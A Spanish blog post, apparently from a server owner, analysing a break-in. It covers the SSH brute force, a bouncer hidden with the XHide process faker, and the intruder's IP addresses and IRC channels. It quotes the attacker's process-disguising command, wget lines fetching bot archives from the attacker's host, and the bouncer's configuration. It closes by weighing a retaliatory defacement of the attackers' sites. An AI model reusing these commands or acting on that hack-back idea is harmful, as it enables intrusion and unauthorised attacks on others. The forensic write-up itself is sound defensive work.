Esta mañana he descubierto que desde hace unos días tenía a un cracker aprovechándose de mi servidor. Había entrado con una cuenta cuya password era la misma que el usuario (facepalm). El ataque ha sido por fuerza bruta contra el ssh, no le ha costado demasiado al atacante apenas unas tres horas de intentos consistentes en enviar combinaciones de mismo usuario/contraseña de una wordlist.

Una vez dentro ha sido más sofisticado, aunque dejando muy visibles sus rastros, no ha podido hacerse root y por tanto borrar los logs de acceso e intentos de hacerse superusuario en /var/log/auth.log:
Dec 19 05:03:37 barney sudo: miguelangel : user NOT in sudoers ; TTY=pts/15 ; PWD=/home/miguelangel ; USER=root ; COMMAND=/bin/bash

Las molestias que se ha tomado han sido para ocultar un bouncer de irc llamado miau. Usando un programa que ya tiene unos años, XHide - (Process Faker, by Schizoprenic Xnuxer Research (c) 2002), estaba cambiando el nombre del proceso y no se podía ver al hacer un 'ps aux', aunque sospechosamente aparecían bastantes espacios en la terminal.
Había dejado unos scripts en el cron del usuario que a su vez invocaban así el bot:
./h -s /usr/sbin/acpid ./miau -d /home/miguelangel/.gnom/adm/

Con este programa, haciendo un 'ps -u' o 'ps -p' se ve el nombre original:
# ps -u miguelangel
  PID TTY          TIME CMD
27263 pts/12   00:00:00 miau

Sin embargo, al hacer ps aux el nombre es un fake:
# ps aux | grep acpi
root        34  0.0  0.0      0     0 ?        S    Dec08   0:00 [kacpid]
root        35  0.0  0.0      0     0 ?        S    Dec08   0:00 [kacpi_notify]
root        36  0.0  0.0      0     0 ?        S    Dec08   0:00 [kacpi_hotplug]
root     13000  0.0  0.0   3864   768 pts/12   S+   21:19   0:00 grep acpi
1003     27263  0.0  0.0   2124   564 pts/12   S    20:29   0:00 /usr/sbin/acpid                                                                                                                                                                                                                                                 


-d /home/miguelangel/.gnom/adm/
root     27549  0.0  0.0   1704   460 ?        Ss   Dec13   0:00 /usr/sbin/acpid

La explicación de porqué ocurre esto podemos encontrarla en esta página. Básicamente, el programa realiza un fork() y tras ello una llamada a execv() pasando el nuevo program name como argv[0]. Según con que programa y parámetros se consulte el nombre de un proceso, obtendremos un nombre u otro.

Intentando localizar geograficamente el ataque puedo ver su login a través del log del ssh:
Dec 19 04:35:31 barney sshd[5767]: Accepted password for miguelangel from 188.72.230.79 port 54014 ssh2
La IP desde la que ha tenido acceso está hospedada en mi mismo proveedor en Alemania. Es hora de sacar al flanders que todos llevamos dentro y reportar a abuse. La resolución inversa de la IP nos lleva a un dominio, royalvip24.com, cuyo contacto está protegido por privacyprotect.org, por lo que no es posible obtener más info por aquí, aunque si podemos dejar otro reporte.

Ha cometido un error dejando activado el logging del bouncer. Consultandolo, puedo ver el host desde el que se conectó, en Rumanía. Es, posiblemente, la IP de su casa:
+ Client from '15-255-118-79.rdspt.ro'.
+ Authorization successful!

Comprobando los logs que ha dejado puedo ver lo que se ha bajado:
wget http://joe.sexyi.am/joe/bot.tgz
wget http://joe.sexyi.am/joe/miau2011.tgz

Vaya, parece que tiene un arsenal en http://joe.sexyi.am/joe/. En este momento no puedo implicar a los dueños de esta página como los responsables del crackeo, podría ser una página hackeada para dejar un repositorio de tools para uso posterior, pero voy obteniendo algunos datos. Está en un servidor gratuito y utiliza PHP Fusion como CMS.

Asimismo, esta es la configuración del bouncer que estaba escondida en un directorio oculto dentro de la home del usuario:

nicknames = {
      "Andrada"
      "bubuandra"
      "Fizia"
      "Greuz"
}
realname = "12 Miau By Andra :))"
username = "Fitza"
password = "O\jEGHr5nv.cw"
listenport = "41000"
servers = {
        "94.125.182.255":"6667"
        "208.83.20.130":"6667"
        "Vancouver.BC.CA.Undernet.org":"6667"
         "Amsterdam.NL.EU.Undernet.org":"6667"
        "bucharest.ro.eu.undernet.org":"6667"
        "Budapest.HU.EU.UnderNet.org":"6667"
        "Diemen.NL.EU.Undernet.Org":"6667"
         "Hamburg.DE.EU.undernet.org":"6667"
        "Lidingo.SE.EU.Undernet.org":"6667"
        "Chicago.IL.US.Undernet.org":"6667"
        "Montreal.QC.CA.Undernet.org":"6667"
        "newyork.ny.us.undernet.org":"6667"
        "Tampa.FL.US.Undernet.org":"6667"
}


channels = {
        "#bubu"
        "#Roberta"
        "#cservices"
        "#FCBarcelona"
        "#Pitestiu"
        "#ciumesti"
}

Nuestro cracker rumano es aficionado del Barça, ahora entiendo eso del "más que un club" :). Es hora de entrar en el IRC y hacer un poco de minning haciendonos pasar por el bot. Mmm, parece que no soy el único al que crackean, a esta tienda de camisetas de Bulgaria (sedem.bg) también le han instalado un bouncer:

* dfdfffdf (~Andra@sedem.bg) Quit (Registered)
* dfdfffdf (~Andra@Antonia.users.undernet.org) has joined #bubu
* micuta_ sets mode: +o dfdfffdf
* dfdfffdf is now known as andra`

Pero eso no es todo, en el canal #FCBarcelona promocionan en el topic la web http://www.djorkaeff.3x.ro/. ¿Que tienen en común esta web y http://joe.sexyi.am/? Si, de nuevo PHP Fusion. No es muy común que dos webs relacionadas con un crackeo compartan un CMS que no es popular como podría ser un wordpress, drupal o cualquier otro más conocido. Todo apunta a que ambas webs tiene relación con los culpables de los crackeos y no son simples víctimas ¿Estamos ante unos aficionados o están creando una botnet?

Llegado a este punto, tengo su IP y sus páginas web. Este cracker o grupo de crackers ya no son tan anónimos. Podría devolverles el ataque haciendole un deface de su web, ya que el CMS que utiliza tiene varias vulnerabilidades en plugins publicadas en el último año.

0 comentarios:

Publicar un comentario